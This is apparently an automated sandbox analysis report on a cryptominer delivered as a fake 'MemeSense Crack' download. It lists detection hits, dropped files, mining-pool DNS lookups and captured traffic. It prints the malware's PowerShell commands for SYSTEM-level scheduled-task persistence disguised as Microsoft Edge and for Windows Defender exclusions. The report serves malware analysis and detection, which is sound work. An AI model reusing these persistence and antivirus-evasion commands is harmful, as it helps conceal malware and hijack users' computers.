C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }, ProcessId: 2132, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 2092, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 972, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6856, ProcessName: svchost.exe

Snort Signatures

ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro) - Source IP: 192.168.2.16 - Destination IP: 1.1.1.1

Timestamp:	06/15/24-11:17:12.026960
SID:	2036289
Source Port:	61404
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro) - Source IP: 192.168.2.16 - Destination IP: 1.1.1.1

Timestamp:	06/15/24-11:16:55.130154
SID:	2036289
Source Port:	50741
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp

Avira: detection malicious, Label: HEUR/AGEN.1362795

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Microsoft\Edge\updater.exe	ReversingLabs: Detection: 79%
Source: C:\Program Files\Microsoft\Edge\updater.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Virustotal: Detection: 9%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\updater.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Windows\Temp\jkiahanfoyhg.tmp	ReversingLabs: Detection: 57%
Source: C:\Windows\Temp\jkiahanfoyhg.tmp	Virustotal: Detection: 75%	Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Downloads\48a23937-84de-4260-a950-1eea9bda8a5a.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft\Edge\updater.exe	Joe Sandbox ML: detected

Source: https://onetag-sys.com/usync/?pubId=2a897e3f18e6769&cb=1718442893618	HTTP Parser: No favicon
Source: https://cdn.adlook.me/u/cds.html	HTTP Parser: No favicon
Source: https://csync.smartadserver.com/diff/rtb/csync/CookieSync.html?nwid=1097&dcid=14&gdpr=0&gdprc=	HTTP Parser: No favicon

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Directory created: C:\Program Files\Microsoft\Edge			Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Directory created: C:\Program Files\Google\Libs

Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.65.254:443 -> 192.168.2.16:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.65.254:443 -> 192.168.2.16:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.70.254:443 -> 192.168.2.16:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.70.254:443 -> 192.168.2.16:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49988 version: TLS 1.2

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb001\* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp
Source:	Binary string: -HC:\Users\user13\source\repos\Memes3nse\x64\Release\Memes3nse.pdb source: MemeSense Crack.exe, 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: \Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2AC2 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58318b source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSYSTE source: svchost.exe, 00000040.00000000.1968850732.0000029D50213000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: _prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2* source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb\* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\acrobat_sbx.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\loader CS2\x64\Release\cli_gui.pdb source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmp, cli_gui.exe, 00000012.00000000.1561598366.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 00000012.00000002.1743493609.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 0000005D.00000000.2222936185.00007FF70D634000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\loader CS2\x64\Release\cli_gui.pdb$$ source: MemeSense Crack.exe, 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmp, cli_gui.exe, 00000012.00000000.1561598366.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 00000012.00000002.1743493609.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 0000005D.00000000.2222936185.00007FF70D634000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user13\source\repos\Memes3nse\x64\Release\Memes3nse.pdb source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831-B09 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\svchost.exe

Code function: 48_2_0000022C35FDBE3C FindFirstFileExW,

48_2_0000022C35FDBE3C

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 26MB later: 35MB

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036289 ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro) 192.168.2.16:50741 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2036289 ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro) 192.168.2.16:61404 -> 1.1.1.1:53

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: pool.hashvault.pro

Queries Google from non browser process on port 80

Source:

HTTP traffic: GET /release2/chrome_component/kkkxrb65stynv7pcqbppuocw44_2024.6.5.0/gonpemdgkjcecdgbnaabipppbmgfggbe_2024.06.05.00_all_lqepr5dqnivxhxcinrlckqnwo4.crx3 HTTP/1.1 Host: dl.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.96.107
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.33.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.33.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.33.206
Source: unknown	TCP traffic detected without corresponding DNS query: 51.104.15.253
Source: unknown	TCP traffic detected without corresponding DNS query: 51.104.15.253
Source: unknown	TCP traffic detected without corresponding DNS query: 51.104.15.253

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/SmUh HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/bootstrap.min.css HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/jquery.mCustomScrollbar.min.css HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/elements.css?1 HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /slake/style.css?ver=6 HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /slake/cookie.css?ver=6 HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /slake/responsive.css?ver=5 HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /dmedianet.js?cid=8CU7BC15F HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/jquery.min.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /js/jquery.cookie.min.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /img/oxy-logo.svg HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /css/cloud.css HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
